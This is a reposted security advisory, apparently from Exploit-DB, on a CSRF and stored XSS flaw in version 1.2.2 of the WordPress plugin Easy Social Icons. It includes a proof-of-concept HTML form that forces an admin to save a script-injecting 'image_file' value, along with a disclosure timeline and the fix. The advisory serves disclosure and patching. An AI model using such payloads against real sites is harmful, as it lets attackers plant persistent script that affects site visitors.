WordPress插件Easy Social Icons V1.2.2 - CSRF漏洞攻击

没穿底裤 2020年1月1日05:47:32评论392 views字数 3008阅读10分1秒阅读模式
摘要

http://www.exploit-db.com/exploits/36161/Easy Social Icons is a WordPress plugin and can be used to set icons on the public page in order to link to social media platforms such as LinkedIn, Twitter or Facebook.


FROM

http://www.exploit-db.com/exploits/36161/

====================================================
Product: Easy Social Icons WordPress plugin
Vendor: CyberNetikz
Tested Version: 1.2.2
Vulnerability Type: XSS [CWE-79] and CSRF [CWE-352]
Risk Level: Medium
Solution Status: Solved in version 1.2.3
Discovered and Provided: Eric Flokstra - ITsec Security Services
====================================================
[-] About the Vendor:

Easy Social Icons is a WordPress plugin and can be used to set icons on the public page in order to link to social media platforms such as LinkedIn, Twitter or Facebook.

[-] Advisory Details:

It is discovered that insufficient validation is performed on the 'image_file' parameter enabling arbitrary JavaScript to be injected. On top of that no random tokens are used to prevent CSRF attacks. By combining these vulnerabilities an attacker could for example trick an admin into setting a persistent XSS payload on the public WordPress page.

[-] Proof of Concept:

<html> <body> <form action="http://10.0.2.215/wordpress/wp-admin/admin.php?page=cnss_social_icon_add&mode=edit&id=1" <http://10.0.2.215/wordpress/wp-admin/admin.php?page=cnss_social_icon_add&mode=edit&id=1> method="POST" enctype="multipart/form-data"> <input type="hidden" name="title" value="Example" /> <input type="hidden" name="image&#95;file" value="http&#58;&#47;&#47;10&#46;0&#46;2&#46;215&#47;wordpress&#47;wp&#45;content&#47;uploads&#47;2015&#47;02&#47;cookie&#46;jpg"><script>alert&#40;1&#41;<&#47;script>" /> <input type="hidden" name="url" value="http&#58;&#47;&#47;www&#46;example&#46;org" /> <input type="hidden" name="sortorder" value="0" /> <input type="hidden" name="target" value="1" /> <input type="hidden" name="action" value="edit" /> <input type="hidden" name="id" value="1" /> <input type="hidden" name="submit&#95;button" value="Save&#32;Changes" /> <input type="submit" value="Submit request" /> </form> </body> </html>

 
[-] Disclosure Timeline:

[02 Feb 2015]: Vendor notification
[02 Feb 2015]: Vulnerability confirmation
[11 Feb 2015]: Vulnerability patched
[19 Feb 2015]: Public disclosure

[-] Solution:

Update to the latest version of Easy Social Icons.

[-] References:

[1] Easy Social Icons Changelog -- https://wordpress.org/plugins/easy-social-icons/changelog/
[2] Common Weakness Enumeration (CWE) -- http://cwe.mitre.org
[3] ITsec Security Services BV -- http://www.itsec.nl

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  • 本文由 发表于 2020年1月1日05:47:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WordPress插件Easy Social Icons V1.2.2 - CSRF漏洞攻击https://cn-sec.com/archives/76283.html

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